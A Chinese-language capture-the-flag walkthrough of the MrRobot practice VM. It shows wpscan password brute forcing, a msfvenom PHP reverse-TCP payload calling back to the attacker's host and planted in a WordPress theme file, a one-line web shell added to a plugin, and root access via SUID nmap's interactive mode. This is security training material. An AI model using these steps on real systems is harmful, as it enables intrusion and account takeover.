vulhub是提供集成漏洞环境平台。用户可以下载已经打包好的镜像进行练习。本文介绍MrRobot环境的利用。

准备阶段

第一步:找到靶机的ip地址,寄出神器nmap

开始一直找不到靶机的地址,解决方法,桥接模式且复制物理网络连接状态,重启之后就扫到了

第二步:打开靶机


第三步:扫描开放的端口

第四步:利用nikto扫描一下网站

Nikto是一款开放源代码,功能强大的WEB扫描评估软件,能对服务器多种安全项目进行测试的扫描工具,去寻找已知有名的漏洞;

利用nitko命令可以帮助我们收集像文件信息和其他的主要的信息,渗透之前我们不需了解我们的目标

  • nitko -h 192.168.0.163

    我们很快的得到这是一个wordpress的站

    注射过程

    前戏

    Ctrl+u查看网站源代码,不过貌似并没有什么卵用,var USER_IP='208.185.115.6查看另一个ip地址,大概是调用了这个ip地址的js或其它的文件

    根据前面收集到的信息,有robots.txt文件,进行拿站的常规思路,收获了一点点信息

    根据robots.txt收集到的信息,得到第一个flag

    访问http://192.168.0.163/fsocity.dic,得到了一个字典文件,给我的第一直觉就是网站后台的爆破

    渗透之旅

    根据之前利用nitko扫描到的信息,可以知道网站的后台是/wp-login.php这也是wordpress默认后台的地址

得到了密码字典,紧接着一个问题又跟来了,用户名是什么,继续搞,没有思路了,蓝瘦香菇,突然翻到前面的时候,灵光一闪

接着搞起来,然而/fuction,/join等都是找不到页面不应该呀,先把字典下载

还是没有思路,明明给了提示咋还是搞不定,原来是自己傻了,明明页面就给了命令端,而自己傻了吧唧的往url上面输,自己笨怪谁呀

接下来我尝试命令inform,展现在眼前的是一个hactivism类型的宣传

大约读了读也没有找到可以说没有找到什么有用的信息,当我输入命令question,又是令我费解的产生了几张图片,直觉给我,这里面是充满故事的

当我试图去搜索executive everyone steals that's how it works,从google中得到了一个有用的信息,似乎和这道题有关系https://www.tvfanatic.com/quotes/shows/mr-robot/episodes/hellofriendmov/,其中有一个人名Elliot,抱着尝试的态度

看到这个错误提醒我知道,用户名正确了,因为之前尝试admin等直接给出的是用户名错误,用户名有了,剩下的就只有利用wpscan来爆破用户名登陆了;

wpscan --url 192.168.0.163 --threads 20--wordlist /root/Desktop/fsocity.dic --username Elliot

--threads参数:设置线程
--wordlist参数:设置字典文件的路径
--username参数:设置wordpress的用户名

然后就可以顺利登陆进来了

剩下的就是利用wordpress的版本找漏洞了,这里有两个思路,一个就是利用msfvenom生成木马提权,第二个就是利用wordpress版本曝出的漏洞来进行提权渗透

方法一:利用kali中的msfvenm

msfvenom是一个独立于Metasploit框架之上的后门生成工具,它是原有旧版的msfpayload和msfencode的集合。新版的Metasploit Framework已经没有这两个工具。

常用的参数:

  • -p:需要使用的攻击载荷
  • -f:输出载荷的格式,可以使用–help-formates列出所有可用格式
  • -o:指定输出位置
  • lhost:payload参数,指定反向连接服务端地址
  • lport:payload参数,指定反向链接服务端端口
  • -k:配置攻击载荷在独立的线程中启动,不影响宿主程序的运行
  • 查看所有linux可用的payload:msfvenom -l payloads| grep linu

生成payload:msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.107 lport=1234 -f raw

复制代码从<php die();到wordpress后台模板并保存

接下来就是注射阶段了

Use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set lhost 192.168.0.107

set lport 4444

exploit


一旦执行了漏洞,现在需要的就是在浏览器中访问后门文件http://192.168.0.163/wp-content/themes/twentyfifteen/404.php

成功了,结果还是可喜的

这样就可以轻松获取一个webshell了,接下来就是进入目标用户,并可以知道所有的用户类型信息

ls -lsa (获取用户详细的信息)

cd home 

ls -lsa 

cd robot 


成功了三分之二了,剩下的一关又找不到头绪,但是之前做程序员游戏那个每个信息都是有用的,眼前这个password.raw-md5觉得可以动动脑筋,思路是不会错的,做到后面我才知道,其实我并没有到第二关,看过程

其中前面的MD5解密后的结果就是下面的密码,我服

下面这个就是技巧,干货,利用nmap形成一个interactive shell

nmap 

nmap –interactive(用户能够通过该选项执行shell命令,通常,安全人员会使用该命令来避免他们使用nmap命令被记录在history文件中)

!sh(nmap有SUID位,故可以通过“!sh”我们会获取到一个root权限的shell,其含义就是代码由bash shell解释)

id 

cd /root 

补充之后又get到的用户名密码

利用sort命令,它可以帮我们依据不同的数据类型进行排序,-n参数是依照熟知的大小排序

方法二:利用wordpress版本漏洞getshell

经过goole在github找到一个wordpress-shell,链接wordpress-shell

过程:

接着访问http://192.168.0.163/wp-content/plugins/shell/shell.php
根据readme,访问http://192.168.0.163/wp-content/plugins/shell/shell.php?cmd=id
这个思路没有搞定,现在直接尝试一句话

利用思路二,从插件,已安装的插件,编辑,插入一句话木马,相对地址/wp-content/plugins/

shell相对地址/wp-content/plugins/all-in-one-seo-pack/all_in_one_seo_pack.php

菜刀连接:

翻目录看到

说明我们这个只是apache用户的权限,robot用户的部分权限。

其实方法一我们就可以在知道,下载下来里面的内容是ERROR:// Can Not Read,但是password.raw-md5可以下载,Notepad++打开,可以看到那段密码,这个过程省略

最后就是在webshell执行以下脚本百度云-密码7k6j

将数据转发至本机,先反弹回来一个半交互的shell

由于权限低,利用代码python -c 'import pty; pty.spawn("/bin/sh")'获取一个完整的交互式shell

接下来的提权过程和上面就大同小异啦

总结

难点就在第三关的提权环节,这一点要回归到Linux文件权限的问题。在Linux中除了文件的基本权限-rwxrwxrwx,还有就是文件的特殊权限,就是SUID和SGID以及SBIT,大致说一下他们的含义

  • SUID含义:SUID shell是一种可用于以拥有者权限运行的shell。也就是说,如果拥有者是root,那你就可能以root的
  • SGID含义:对文件而言是以文件所属身份执行,而更重要的是对目录的权限
  • SBIT含义:要求操作系统既是在可执行程序退出后,仍要在内存中保留该程序的映像,这样做是为了节省大型程序的启动时间,但是会占用系统资源

所以我们利用SUID的权限漏洞,利用命令find / -perm -u=s -type f 2>/dev/null查找所有用户有SUID权限的文件。

通过列出的目录发现了nmap,低版本的nmap支持“interactive.”选项,用户能够通过该选项执行shell命令,通常,安全人员会使用该命令来避免他们使用nmap命令被记录在history文件中,通过nmap就可以拿到交互的shell,因为nmap有SUID位,所以通过!sh就会获取到一个root权限的shell。

最后强调一点,学习nc等,首先要懂socket通信,归根就是网络